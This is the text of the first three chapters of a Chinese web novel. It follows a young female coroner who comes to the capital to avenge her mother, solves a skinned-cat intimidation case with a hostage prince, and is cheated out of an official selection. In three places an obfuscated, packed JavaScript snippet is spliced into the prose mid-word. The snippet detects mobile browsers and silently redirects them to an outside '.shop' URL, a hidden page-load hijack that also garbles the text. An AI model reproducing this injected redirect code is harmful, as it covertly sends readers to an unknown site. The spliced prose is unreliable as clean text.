《她要天下俯首称臣!》 1. 富贵迷人眼 常言道:“富贵迷人眼。” 曲霜姿来了这座盛京城才明白,原来生活在这里的人,一呼一吸间都充斥着餐腥啄腐的铜臭味。 报名仵作选拔的队伍倒是不长,但是曲霜姿定睛一看,这前前后后的人都捧着一袋钱币,欲献给报考官。 她随便瞄了眼,里面居然全是金子,震惊下她不由得吞了口口水。她局促地转身问身后的人,“那位报考官是什么赫赫有名的大人物嘛?” 身后公子一席华衣,表情嫌恶地看着她,却意外地隐忍几分,惜字如金地挤出两个子,“不是。” “那是考官?”曲霜姿向来喜欢打破砂锅问到底。 那公子面露烦躁,又蹦出两个字,“不是。” “那为什么要给他钱啊?”这公子手中钱袋更是鼓囊,叫曲霜姿看得两眼放光。 华衣公子终于按捺不住白了她一眼,正欲发作却被一旁下人劝阻。 那下人站出来,呵呵笑着解释:“这位姑娘,此乃——报名费。” 曲霜姿一听就头大了,“可是告示上所言,报名费不过才五文钱罢了,哪里用的着这么些真金白银呢?”她偷偷摸了摸自己口袋里的五文钱,心道就这还是她省吃俭用省下来的呢。 那下人似乎讶异于她的无知,也露出鄙夷的神情,怪腔怪调道:“这就是咱们盛京的规矩。” “姑娘,既然没钱,我好心劝你一句,你就别添乱了。”下人上下打量了她几眼,又瞬间挤出笑来,“不若去我霍府当个小侍女,我不让他们给你安排重活,保你衣食无忧,如何?” 这老仆也真是厚颜无耻,自己这么大年纪了,居然也还敢见色起意。 曲霜姿出落得水灵,皮肤白皙,小鹿般的眼睛像含着一池星光。然而她一张嘴却是得理不饶人,她小声吐槽道:“看不起谁呢,你姑奶奶我现在也衣食无忧!” “普信男。” 她不欲和这样的人纠缠,她阿娘从小就教导她要远离普信男。 然而她低头看向自己,又看向这列队伍,哪怕是普通百姓身上的衣料都是光滑轻薄的。这一对比,曲霜姿居然真真觉得自己像个乞丐了。 那下人没听懂曲霜姿骂了句什么,但凭感觉就觉得不是什么好话,更加不依不挠起来,还扯谎对身后公子道:“公子呀,这小妮子居然敢骂您!” 那公子果然怒了,睥睨着曲霜姿恶狠狠道:“你可知我父是何人?我乃当今正一品霍相之子,你什么身份,竟敢轻慢于我!” 正一品?霍相? 曲霜姿听着就觉得这是自己惹不起的人,毕竟初入盛京,还是不要惹是生非的好。她换上人畜无害的笑颜奉承道:“原来是霍公子,方才一见您就觉是风度翩翩、貌绝冠玉,又有幸与公子攀谈几句,果真是谈吐非凡,让小女子自愧不如。” “恐怕是整个盛京都无人能及啊!” 曲霜姿言语夸张,但对于这纨绔很适用,霍公子心花怒放,但又碍于面子追问道:“那刚刚你说了什么,竟让我下人误会?” “啊——”曲霜姿拖长声音,“是我们家乡的俗语,‘普信男’就是说你是普通百姓人人信赖敬仰的美男子。” 霍公子这才作罢,冷哼一声,洋洋得意地越过曲霜姿。 报考官看见他脸都要笑烂了,“您还亲自来呀,随便找个人知会小人一声便是了。” 插队,赶着去投胎吗!? 曲霜姿撇撇嘴。 “这次选拔名额不过两个,自然轮不到你这样的。”那下人临走之际还冲曲霜姿翻了个白眼,阴阳怪气一通。 曲霜姿来不及理他,走上前道:“大人,这是我的报名费。” “女的?”报考官斜眼看她。 曲霜姿被其突变的语气问得一懵,她看向还未走远的另一位女子,“那位不也是姑娘?” “大胆!那是林家的大小姐,岂是你能相比较的!”报考官一拍桌子,“不懂规矩的人,我们大理寺可不要。” 曲霜姿虽有气,但终究是害怕的,她这替母报仇之路可不能还没开始就夭折啊!她顿时慌了神,用讨好的语气道:“这位大哥,您行行好吧。” 阿娘说过,大女子能屈能伸! “这是我身上所有银钱,您拿去吃酒!”曲霜姿一狠心掏尽了口袋,又忙继续补充,生怕叫直接赶走了,“我是荨州人,名叫曲霜姿,曲奇的曲、霜花的霜、姿容的姿!” “我自小跟着我母亲验尸查案,如若能加入大理寺,我定为国为民不辞辛劳、让我大安再无冤情!” 曲霜姿这话说得格外认真,阿娘从前虽不许她靠近盛京,但是她一直受阿娘言传身教,知晓女子也能有一番大作为,便梦想着有朝一日能查清所有的冤假错案,让大安海晏河清、百姓安居乐业。 她阿娘不是一般人,那她也绝对不会是等闲之辈,所以曲霜姿信心满满必能入选。 报考官莫名笑了一声,曲霜姿咬牙没吭声,眼下最要紧的还是赶紧报名。 “好好好,许你报名就是了!”报考官提笔就是几个歪歪扭扭的大字,还将“曲”写作了“娶”。 “行行行,你走吧。” 这话里话外都是敷衍的意思。 曲霜姿方才太过紧张,她阿娘从前老念叨着什么曲奇好吃,致使她一时间说错了话,她只好再低声下气道:“大哥,是歌曲的曲。” 对方冷哼一声,哈哈笑着阴阳怪气,“奥——我还以为你是有乡下口音,把‘娶妻’给说错了呢!” 人群瞬间哄笑起来。 “是是是,我方才说错了,您辛苦了。”曲霜姿继续忍耐,看着男人把名字更改了,又附上家乡信息,这才松了口气。 盛京和她想象中的全然不同。 她看向四周高阁楼宇,画栋飞甍、参差错落,座座精致玲珑、敞亮气派。乍一看,这高高低低耸立着的都连成一片,犹如天上金龙盘旋在此。若不是其间还传出悠扬动人的丝竹管弦之声,恐怕真叫人觉得自己是产生了幻觉。 这里的人享乐惯了,而她的阿娘恐怕到死都未见过这样歌舞升平的地方。曲霜姿有些想哭,但还是努力忍住,心中参加选拔的决心愈盛。 阿娘死得凄惨,曲霜姿亲自验的尸。她判断出凶器非同一般,四处查探后知晓,只有盛京才有这种呈螺旋状的凶器。 所以曲霜姿来了盛京,她阿娘关心百姓、不要俸禄地帮官府验尸查案,凡是所得钱财全都散予贫苦百姓,是这世界上顶好的人。 她一定要找到真相,一定要为阿娘申冤,一定要报仇! 走在大街上,曲霜姿听着从大街小巷传来的叫卖声和嘻笑声,肚子也跟着咕咕叫唤。她捂住肚子,安慰道:“您别叫呦,我可没钱了。”她想起自己一刻钟前还自信衣食无忧,现下却连半个子儿都掏不出来。 赶到盛京附近她才听闻有个仵作选拔,说是陛下开恩允准普通百姓通过选拔直接上任大理寺。她火急火燎,日夜兼程才赶上,哪里还顾得上吃饭。 看来在仵作选拔前,还需找个营生填饱肚子。 然而盛京人一看她是个女的,再听她是荨州人,就将曲霜姿拒之千里之外。 好不容易有个馄饨铺的老板娘有收下她的意思,然而…… “有帮厨的经历吗?” 曲霜姿垂眸摇头,眼底像是噙满了泪水,看着可爱又可怜。 “之前干过什么?” “解剖尸体。”曲霜姿老老实实道。 老板娘面露尴尬,说今天要下雨了,要回家收被子了。 曲霜姿抬头,透过指缝看了眼这骄阳似火,叹了口气。 都是讨口饭吃,盛京人怎么还歧视呢? 还是荨州好啊,那里的百姓待人热情,再加上曲霜姿长得俊、说话甜,都喜欢她喜欢得不得了。哪里还有找不着活儿、赚不到钱、吃不到饭这种苦恼? 曲霜姿懊丧极了,已然饿到过了饿劲儿,只想找个阴凉地坐下。她踱步到一条巷子深处,果然要比大街上凉快多了,她阿娘管这叫什么“狭管效应”。 她努力理解了下,总结出来就是小巷要比大街凉快。 这巷子的一砖一瓦看着也精致极了,不像荨州穷乡僻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711859|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壤的,那小巷里都破破烂烂,墙面轻轻一碰就跑出来大片烟尘,甚至一推就倒。 让曲霜姿更叹为观止的,是这小巷深处居然别有洞天,还有家胭脂铺子。 她没见过这些玩意儿,便走进去瞧了瞧,胭脂铺子冷清得很,店面装修也不如大街上那些华美。 “这是莲藕粉。”突然一位老妇人蹒跚着走了出来,“美容养颜,让肌肤如藕般净白、如莲般粉嫩。” “小姑娘,要不要买来试试啊?” 藕啊……同为一节节的,曲霜姿很快联想到了人骨头,哪怕这粉真的能让她变成世上第一美人儿,也没了想试试的冲动。 都是她阿娘,小时候为了锻炼她看到尸体、骨头不害怕不反胃,总让她在跟着自己验尸时吃藕。 曲霜姿尴尬地摸摸鼻子,“婆婆,我没有钱。” “我想问一下,店里缺人手吗?”话一出口,她就后悔了,这小店看着难以为继的模样,该是没什么希望。 谁料老妇人和蔼一笑,“好啊。” “咱们店啊,主要负责送货上门,专给世家大族的小姐们供应。” “多谢婆婆!”曲霜姿欢欣雀跃,“那我负责送货吗?我腿脚很快的。” “你啊,负责看店,陪我这个老太婆怎么样?”婆婆笑得慈祥,语气让曲霜姿想到了家乡的邻里街坊,不由心中一暖。 但她很快清醒过来,想起自己来到这盛京城的真实目的,愧疚道:“只是我来盛京有旁的事情,怕不能长久陪伴婆婆。” “一日也是陪,人与人的缘分如此,这有什么?”婆婆眯着眼睛,讲起人生大道理。 这道理实在,盛京果然还是有善人的,曲霜姿松了口气,点头应是。 她正打算开口问问有没有地方能供自己歇脚,结果下一刻,曲霜姿后脑勺一疼,重重摔在地上。 意识彻底消弭前,她想起阿娘留下的十字箴言。 城市套路深,我要回农村。 原来是这个意思。 完蛋了,出师未捷身先死。 不知多久过去,曲霜姿头痛欲裂地醒来,下意识就要捂住脑袋叫唤,却隐约听见了人声,她立刻止住动作,连同呼吸都放得轻缓了些。 “谁让你们绑人回来的?”是一个低沉的男声,听着十分不耐烦的样子,“趁人没醒赶紧送回去。” “殿下恕罪,是阿若嬷嬷认错了人,这姑娘突然出现在胭脂铺,这和那边说好的是一样的啊。”又有人怯生生地应,似乎是这男子的侍从。 “我未来得及传达,今早来的消息说计划有变。”被称作殿下的男人似乎若有若无地叹了口气。 “那、实在不行,咱们就用这个女的吧!长得不错,好像也是个外乡人,正好进献给大皇子。” 曲霜姿无语凝噎。 她承认,她的确算是个美人。 称赞过她容貌的人不少,余肃叔父还曾赞她“明眸耀星子、笑靥羞菡萏”。但这不重要,曲霜姿知道阿娘漂亮,余肃叔父就时常会看着阿娘愣神,所以她必然也不差。 缘此就要绑她送人!可笑,她又不是什么明珠玉石,她是个活生生的人! 她倒要看看是什么劳什子殿下,干出这伤天害理的勾当。 曲霜姿偷偷将眼睛睁开一条缝。 这是间昏暗的屋舍,屋舍里只有刚刚说话的两个人。 一个身着轻便玄衣,背对着曲霜姿,正放低姿态等待发落。 而另一男子却让曲霜姿觉得在哪里见过。 身姿挺拔,犹如松柏,亦是一身玄色衣袍,但显然要华贵不少。男人正在垂首思索,整个人几乎要融入黑暗中,散发出和他白净清秀面庞截然不同的阴鸷气质。 曲霜姿感觉到稍许毛骨悚然,正要阖眼继续装死,对面那位殿下冰冷的目光却突然落到了她身上。 她暗叫不好,心底盘算着到底有没有和男人对视上。 “不用送她回去了,她醒了。”男人冷淡道。 曲霜姿只觉一股寒气入体,侵入她五脏六腑,从头到脚把她冻在了原处。 2. 狸猫换太子 曲霜姿悔得肠子都青了,她就不该被好奇心驱使,就该一直装死。毕竟比起活人,曲霜姿更了解死人,从小她就是耍赖装死的一把好手。 “醒了?”那侍卫模样的男子谨慎地走到她面前,观察片刻犹豫着反驳:“殿下,好像没醒啊?” 曲霜姿暗喜,希望老天爷行行好,让那位殿下觉得自己是看走了眼。 男人冷哼一声,然而还未来得及开口,屋外便传来声音提醒:“无逆公子,二殿下派小的来问问,事情办得如何了?” 沈无逆咬牙,随后立刻换上副温润如玉的笑颜,“请回禀二殿下,事情成了。”他转头给自己的侍卫使了个眼色,“白术,你先跟这位大人去回禀殿下,让殿下放心。” “是。” 门吱呀一声,侍卫走了出去,房子里只剩下沈无逆和曲霜姿。 曲霜姿心狂跳,但还是忍不住疑惑面前这人到底是何身份?怎么一会儿殿下、一会儿公子的? “别装了。”沈无逆走过来蹲在她面前,语气温柔异常,“我放你走。” 阿娘常说:男人的嘴,骗人的鬼。 曲霜姿深信不疑,况且她明显感受到男人身上的杀气,根本不敢睁眼。 “那就来人,杀了吧。”沈无逆冷声下令,转身就要走。 曲霜姿顿时慌了,赶紧拉住男人衣袖,“你不是要向大皇子进献美人吗?” “看来是早就醒了。”沈无逆皱眉,“我要的是美人,你这乳臭未干的小妮子,大皇子可不要。” 曲霜姿刚至及笄之年,出生没多久她阿娘就带着她四处奔波,所以她才有点营养不良,直到现在也瘦瘦小小的。 “你不要看不起人!”她实在没想到,自己都为了活命委曲求全了,结果还要被人嫌弃。 沈无逆盯着她的脸没说话,不知道为什么总觉得这小妮子很眼熟。 “殿下不好了!”一个侍卫慌慌张张跑进来,“又有剥皮黑猫案发生了!” 沈无逆脸色一沉,“这次是谁家?” “王、王家。” “带上几个侍卫,过去看看。”他看向地上的曲霜姿,又下令道:“找个人把她看好了。” 曲霜姿捕捉到了对话中的关键,连忙毛遂自荐:“我查了十几年案子,定能帮到殿下您!”她用乞求的目光看向沈无逆,“带上我吧。” 沈无逆明显不相信,抬腿就要走。 “是真的!”曲霜姿不顾脚还被捆着,疯狂扭动身体爬到了沈无逆脚边,“我阿娘是这天下最厉害的仵作,我跟着她学了十几年,定能帮到殿下!” “你阿娘?天下最厉害?”沈无逆身旁的侍卫嗤笑一声,“我看是自封的吧。” “这世上仵作尽是男子,我在盛京这么多年,还没听过有什么女子仵作。” 曲霜姿见沈无逆没说话,就知道还有戏,她顾不得反驳那侍卫,继续证明自己道:“你是邵辰送来的质子吧。” 沈无逆脚步一顿,转身抽出佩剑,电光火石之间就抵在了曲霜姿脖颈处,“你如何知道?” “放了我,我就告诉你。”曲霜姿眼中没有半分怯意,“你要杀我早就杀了,不会让人看我是否醒了,更不会说出‘趁人没醒赶紧送回去’这种话。” “你真以为我不敢杀你。”沈无逆额角青筋暴起。 “因为你觉得我有用,你要在大皇子身边安插人,这人可不好找吧。”曲霜姿凑近利刃,眼神坚定地看着沈无逆,“我还知道,你说的什么剥皮黑猫案让你觉得棘手。” “不妨让我帮你试试呢。” 沈无逆垂眸,似乎是在思考。 半晌,他收回佩剑,对那侍卫道:“给她松绑。” — 马车上沈无逆举杯小酌,竟然换了个人似的。眉眼温情、唇角含笑,俨然有了清风明月之态。 曲霜姿估量了下自己跳车逃跑的可能性,最终还是选择放弃,她只盼着帮了这位阴晴不定的爷后能够被放走。 “什么剥皮黑猫案啊?”曲霜姿问。 “我劝你——知道的太多,这脑袋可就不保了。”沈无逆神色依旧,却叫曲霜姿觉得瘆人。 “那、那我怎么帮你查案啊?”她不满道,“你也不能这般为难我啊。” 沈无逆噎住,只好屈尊降贵地开了金口:“就是近来盛京几个世家的后宅,常被人扔进去剥了皮的黑猫,以此恐吓威胁。” 曲霜姿下意识想追问原因,却想起这人和皇室关系不浅,知道得太多自己恐怕就真的走不了了。她忙不迭甩甩脑子,逼自己专注于案子,“你是想查清猫是谁扔的?” 沈无逆点头。 曲霜姿其实也没多大把握,但冒着试一试想法,还是跟着沈无逆来到王家。 “沈公子,你来了。”王家家主挺着肚子出来迎接,“快查查这死猫是哪里来的吧,我妻与小女可都吓得不行。” 按理说,这猫死了被扔进谁家,根本无须二皇子派沈无逆亲自来查。但匪夷所思的是,这些受害的无一例外,全是支持二皇子为太子的官员。 一只死猫能被精准地扔进后宅恐吓官员家眷,也就意味着有人能溜进来不被察觉威胁其性命。 长此以往,恐怕没人再敢公开站队二皇子了。 沈无逆在心里叹了口气,“府兵没有发现任何行迹可疑之人吗?” “没有啊。”那王大人面部表情夸张,说起话来脸上横肉纵跳,“知道有好几位大人遭遇此事,我特地多派了些人巡逻,可那死猫就是突然出现在后花园里了。” “殿……”曲霜姿努力憋着笑,险些没把话收住,她飞快改口:“公子,不如我们先去看看这黑猫吧。” 刚刚来时太急,曲霜姿并未注意这王府的景致。如今四处瞧瞧,整个院落开阔气派,屋舍红墙青瓦、布局规整、端方有序。 再沿□□往深处行,两旁翠竹青松交错,其间鸟语清脆,共风声鸣语,尽显生机。一直走到小路尽头,豁然开朗,更为清幽雅致的院落映入眼帘。植物琳琅、假山罗列,还有清流沿着渠道环绕整个院落,水声潺潺。 曲霜姿看呆了眼,“皇帝宫里的那什么,御、御花园也不过如此吧?” “慎言。”沈无逆提醒道。 “这位王大人是几品官员啊?”曲霜姿咽了口唾沫,小心地问。 沈无逆:“三。” 三品官员的府邸尚且如此,这皇宫得像仙境一般了吧。她学起阿娘曾经常说的话,在心底偷偷吐槽:“这世上多我一个有钱人怎么了?” “沈公子,这就是发现猫的地方。” 曲霜姿蹲下来看看,除了一点土的痕迹,压根看不出曾经有什么剥皮黑猫被扔进来,“猫呢?” 那下人回道:“怕夫人小姐害怕,老爷吩咐我们处理了,连血迹都收拾干净了。” 曲霜姿摸了摸土壤,“你们是将带血的土壤都清扫了吗?” “嗯。” “其他地方还有血液吗?” 下人摇头。 “我要看猫的尸体。”曲霜姿认真道。 “啊?”下人为难地看向沈无逆,“大人,这……” “取来吧。”沈无逆也不知道曲霜姿为何要看猫的尸体,但现下也没有别的线索可查,只能姑且看看她到底有没有真本事。 很快,一只血淋淋的猫被摆在曲霜姿面前。 带着腥甜的腐味散发开来,周围的人都下意识捏住鼻子。 曲霜姿从怀里掏出手套,一边捧着猫尸摆弄研究,一边问,“你们怎么确定这是只黑猫的?” “猫被扔进来的时候,还有一张血皮,那一看就是黑猫的呀。”下人解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711860|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释道。 “把皮拿来我看看。”曲霜姿又吩咐道,众人都摸不着头脑,不知这小姑娘要看那恶心恐怖的玩意儿干什么。 沈无逆皱着眉上前,“怎么了?” 见曲霜姿又上手翻看那张皮,众人不禁心里发怵。 “这是狸猫。”她下了结论,语气不容置疑。 她紧接着解释,“这猫尸已经腐臭到这种程度,它的血液也早该凝固。而刚刚未见到尸体前,我几乎没有闻到任何血腥味。” “所以,下人们收拾的血迹应是伪造的,这猫也是死了许久的。” “你仔细看这猫的眼睛。” 曲霜姿撑起猫的眼皮,沈无逆咬牙看了过去,“怎么了?” “是棕色。”曲霜姿道:“而黑猫的眼睛往往是绿色的。” “你再看这猫皮,只是被血染成这个颜色,细看却不是黑色,还有花纹。” 腐臭味扑鼻而来,沈无逆有想吐的冲动,连连后退几步。 同时,他心中一紧,明白了扔猫人的用意。 狸猫换太子,这分明就是在讽刺二皇子非嫡长子,告诉这些官员应该擦亮眼睛,勿要离经叛道支持错了人。 沈无逆忍住恶心,继续问:“还看出什么了?” “这猫不是被扔进来的,如果是被扔进来的,那这不明液体必然会溅到墙壁上。”曲霜姿压低声音,凑近沈无逆,身上沾染的尸臭叫沈无逆差点翻白眼。 “所以你是说,是外面的人买通了里面的,府中有内鬼?”沈无逆顿时来了精神。 沈无逆带着曲霜姿匆匆离开王家,第一时间吩咐手下人去查:近来这几家府上有无增添人丁。 不过半个时辰,就证实了二人的猜想。 大概半月前,盛京有人牙子卖一批奴仆,这本是盛京常有的事情,没想到被人在这上头做文章。 几家府里的内鬼很快被找了出来,但是幕后主使行事谨慎,只是派手下人安排这些奴仆,并未露面。唯有一个女奴说似乎看见了霍家的家纹。 霍氏,其家主就是当今在朝堂上叱咤风云的丞相,也容不得他们继续往下查了。 沈无逆面色凝重,看向洗干净换上新衣裳的曲霜姿,笑着夸赞道:“没想到你还有几分真本事。” 他追查此案,一直以来都只顾着抓扔猫的人,却未曾想在猫身上下功夫。 “所以,你到底是如何知晓我身份的?” 曲霜姿眨巴眨巴眼睛,诚恳回答:“猜的。” 沈无逆眉毛抽搐,挤出一个笑。 “我来盛京的路上,听闻过邵辰质子的故事。” 邵辰位于中原地带,而大安之前是由西北而下的,所以皇室及许多文臣武将长相都有西域人的影子。 这位传闻中的邵辰质子,则全然是中原人的长相。据说是肤白如雪、眉眼温润、玉树临风、翩翩公子世无双矣。 曲霜姿阿娘就喜欢这种长相,并称这类长相的男人都为“小白脸”。所以曲霜姿看到沈无逆的时候,不由自主就想起了这个词。 加上沈无逆手下人唤他殿下,而二皇子的人却只是称他为公子,思来想去也只有是质子这一种可能了。 听完曲霜姿的话,沈无逆满脸无奈,一时之间也不知道该说什么好。 曲霜姿看着他,觉得他这人笑起来格外好看,便开玩笑地问:“你和另一位质子是亲兄弟吧,长得很像啊。” “另一位质子?”沈无逆问。 “就是沈霁明啊。”曲霜姿答着,却丝毫没察觉到对面男人情绪的变化,“我们幼时见过的。” 邵辰只送过一位质子来大安。 沈无逆抬眸看她,终于知道为什么觉得曲霜姿眼熟了。 下一刻,他毫无征兆地拔出佩剑,佩剑划破空气,发出“铮”一声尖鸣。 3. 吃人不吐骨 曲霜姿伸手想要推开沈无逆的剑,她撑着笑容,声音颤颤巍巍的,“这是怎么了?” “你是曲、霜、姿。”沈无逆冷声,一字一顿道。 今日事情都发生的匆忙,曲霜姿还没来得及报上家门,或者说她本就想找个时机跑了,并不想和盛京任何大人物产生牵连。 “殿、殿下怎么知道?”她皱起小脸,挤出个讨好的笑容。 “是你,害我假死未成,被迫来到大安成为质子。”沈无逆眼神凶狠,恢复了曲霜姿在昏暗小屋见到他时的阴蛰气质,“害我沦为囚子,害我被困异国深宫!” 曲霜姿瞬间明白过来。 原来沈无逆,就是沈霁明。 当年,曲霜姿不过四五岁,和母亲路过一地,遇到了从邵辰国远赴盛京当质子的沈霁明。二人同住一家客栈,互相交换了姓名,还攀谈了几句。 临别时,曲霜姿还对这个温温柔柔的小哥哥依依不舍。 然而不过半日,就传来了迎送质子的队伍被山贼劫掠,无一生还的消息。曲霜姿和母亲路过时,被满地的鲜血吓得瑟瑟发抖。 曲霜姿当时还怯生生地问查案的官员,“真的无一生还嘛?” 得到肯定的答案后,曲霜姿还是不信邪,那是她头一次放下心中的害怕,主动爬进死人堆。 她找到沈无逆,用阿娘教给她的方式查探沈霁明的呼吸和脉搏,甚至要给沈无逆做人工呼吸。 直到如今,曲霜姿才明白,原来不是自己救了沈霁明;而是她太过坚持,致使沈霁明的假死药过了药效,最终假死失败。 她瞪大眼睛,根本不顾还抵在自己脖颈间的利刃,不可思议地向沈无逆扑去,“怎么可能?” “你不是叫沈无逆吗?怎么会是沈霁明!” 饶是沈无逆及时收了剑,剑刃还是划破了女孩稚嫩的皮肤,曲霜姿的脖颈立刻冒出一连串小血珠。 他痛心疾首,握着剑的手止不住地颤抖。 “因为邵辰沈氏王族,不得有谋逆之心。”他深吸一口气,似乎用了很大的力气才说出这话来。 曲霜姿想起曾经皮肤白皙如玉的小哥哥,眸中恍若有星辰。小哥哥自豪地对她说:“我为邵辰沈氏王族,名为霁明。” “风光霁月的霁、明德惟馨的明!” 和眼前的沈无逆,容貌虽相像,却也只有皮囊有从前的半分影子。 他眸色晦暗阴沉,神情痛苦而又狰狞,没有从前的天真、没有从前的明媚、没有从前的自豪…… 半晌,沈无逆终于平静下来。 曲霜姿看着他,委屈地落下眼泪,“抱歉,我当年只是太想救你。” 沈无逆偏过头,不敢直视少女的眼睛。 曲霜姿以为空气会一直这般诡异地安静下去。 但她太饿了,肚子发出响亮的“咕咕”声。 “今日之事,我放你一马。嘴严些,勿要再给我添麻烦。” “否则,就是死路一条。”男人语气不善,像是恨不得立刻杀了曲霜姿。 沈无逆起身,将随身的钱袋扔到桌上,便头也不回地离开了。 — 曲霜姿整理好情绪,想起阿娘曾说做人不要为难自己,便坦坦荡荡地拿着沈霁明留下的钱袋饱餐了一顿。 好不容易吃一顿饱饭,曲霜姿又找了家便宜的客栈住下,盘算怎么靠着沈霁明留下的钱撑到当选仵作发官俸的时候。 她叹气,想等到时候自己赚了钱,肯定是要把这钱还给沈霁明的。如此想着,曲霜姿又忍不住浮想联翩,幻想自己未来官运亨通、为国效力、为民造福,还能靠自己的能力赚钱的日子。 要是阿娘还在,就好了…… 精打细算几日,曲霜姿终于挨到了仵作选拔的公示出来。 三日后大理寺进行选拔,选拔分为三轮,第一轮为笔试、第二轮为实际操作、第三轮则是面试。 曲霜姿看着告示,眸中满是憧憬。 她信心满满,仿佛已经通过选拔,成功进入了大理寺。 然而,当她瞥向报考人员名单,却没看到自己的名字。曲霜姿挤过人群,凑到公示底下仔细查看,一遍又一遍,都没找到自己的名字。 怎么可能?她可是亲眼看着那报考官写上自己名字的啊。 曲霜姿立马跑去大理寺,毫无意外地被拦在外面,“这位大人,我报考了仵作选拔的,我交了报名费,但那名单上没有我的名字。”她大声地讲述自己的遭遇,生怕对方不搭理自己。 “不可能。” “怎么会呢?我叫曲霜姿,歌曲的曲、霜花的霜、姿容的姿!”她扯着那位官员的衣袖,仿佛是拽着救命稻草。 “我是荨州人,大人您帮忙看看是不是把我漏掉了?”曲霜姿见乞求不成,连忙掏出一把碎银递上去,“您行行好。” 这把碎银没被领清,连同曲霜姿一起都被那个官员推倒在地,碎银洒落一地,曲霜姿的心似乎也碎了满地。 “曲霜姿?”熟悉的男声从身后传来。 曲霜姿赶紧爬了起来,看到沈霁明的一刻眼里亮了亮,“沈、沈无逆,你是这里的官员吗?” “我昨日刚升任为大理寺寺正,这位姑娘有何事?”周围看热闹的人不少,沈无逆强撑着笑容,装作不认识少女。 “我报考了仵作选拔,但是告示上没有我的名字。”曲霜姿言辞恳切,“求你帮我看看,是不是把我给漏掉了。” 沈无逆让手下遣散了看热闹的百姓,把曲霜姿拉到一边,“我不是让你不要给我添麻烦吗?” “况且你我终究不过几面之缘,我也只是个从七品的小官,哪里能帮得上你。” 一颗豆大的泪珠顺着少女的脸颊滑落,曲霜姿眼睛通红,看着楚楚可怜,却依旧有股不服气的劲儿,“我那时还将身上所有钱财都给了报考官。” 沈无逆扶额,这实在让他头疼得紧,“你确定你报名了吗?” “我都说了多少次了。”曲霜姿失望地看着沈霁明,她不甘而又愤懑道,“我千里迢迢从荨州而来,没想到盛京竟然是这副模样!” 荨州? 沈无逆突然想起昨日大理寺几位大人的谈话,说是本次选拔人选早已定好,为确保顺利,得将一个自称验尸查案十余年的荨州少女给剔除了。 没想到,被剔除的居然是曲霜姿。 盛京其实就是皇室贵族玩弄权势的戏台,这里人心险恶、奢华糜烂,根本不适合曲霜姿这样的小姑娘。沈无逆一狠心,实话实说道:“本次选拔名额早已内定,无论如何都轮不到你,你还是死了这条心吧。” “什么?”曲霜姿呆呆看着他,她不敢相信,说话都有些磕磕巴巴,“那为什么、为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711861|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么还要报名选拔?” 沈无逆不知道该怎么回答,身后还有好几双官员的眼睛盯着,叫他提心吊胆、浑身不自在。 为叫曲霜姿死心,沈无逆只好佯装愤怒冲她吼道:“那你便离开!不要在这里耽误官员处理公务,不要在这里信口雌黄、扰乱秩序!” 曲霜姿咬牙忍住眼泪,身体止不住地颤抖。 沈无逆余光瞥向四周,随后认真看着曲霜姿的眼睛,沉声道:“无权无势,在这里就只能作任人宰割的蝼蚁。” 话毕,他撞了下曲霜姿的肩膀,头也不回地离开了。 一连几日的烈阳当空,盛京的天空终于被晒穿了个大窟窿,瓢泼的大雨从窟窿里涌了出来。 磅礴的大雨居然叫人的视线都模糊了,霎时间所有人都去避雨了,只有曲霜姿跪坐在地上,一粒粒拾捡着碎银。 少女从头到尾都湿透了,头发被不知是雨水还是泪水糊在脸上。 沈无逆看着女孩缓缓站起,又一步步走远,他心生不忍,很想先唤她进来避避雨,却还是打消了这个念头。 不该的,曲霜姿该走得越远越好。 女孩失魂落魄地走在大街上。天塌了,还压在她身上,压得她喘不过气。 阿娘被刺杀而亡,曲霜姿没有一蹶不振,她亲手用阿娘留下的验尸工具给阿娘验尸,却发现那凶器是自己从未见过的。那时的无助与迷茫,没有压垮她,她本想等余肃叔叔来帮自己查找阿娘被刺的真相。 可是本三个月来一次的余肃叔叔很久都没来,她只好背井离乡,走出阿娘曾不许自己离开的那个镇子。她知晓那凶器来源于盛京,便一路追查到盛京,她以为等她通过仵作选拔,就有了在盛京常住的资格,就有机会找到真相、为母报仇。 可是她错了。 盛京,分明她阿娘所言——是个吃人的地方。 曲霜姿居然还以为,那是阿娘哄她的。 她好想阿娘。 她真是无能,阿娘枉死,自己居然来找到真凶为阿娘报仇的能力都没有。 泪水如雨水般汹涌,最后又走向枯竭,曲霜姿感觉,自己整个人都变成了一摊死水。 她浑浑噩噩地倒在了地上,激起一片肮脏的水花。 — 三日后,大理寺仵作选拔如期举行。 笔试即将开始,十几位考生坐在位置上,有的愁眉不展、有的胸有成竹、而更有两位衣着不凡的公子哥——身下是金织狨座,面前沉香木书案,四面雕着华丽的纹饰,案上还点着名贵的龙涎香。 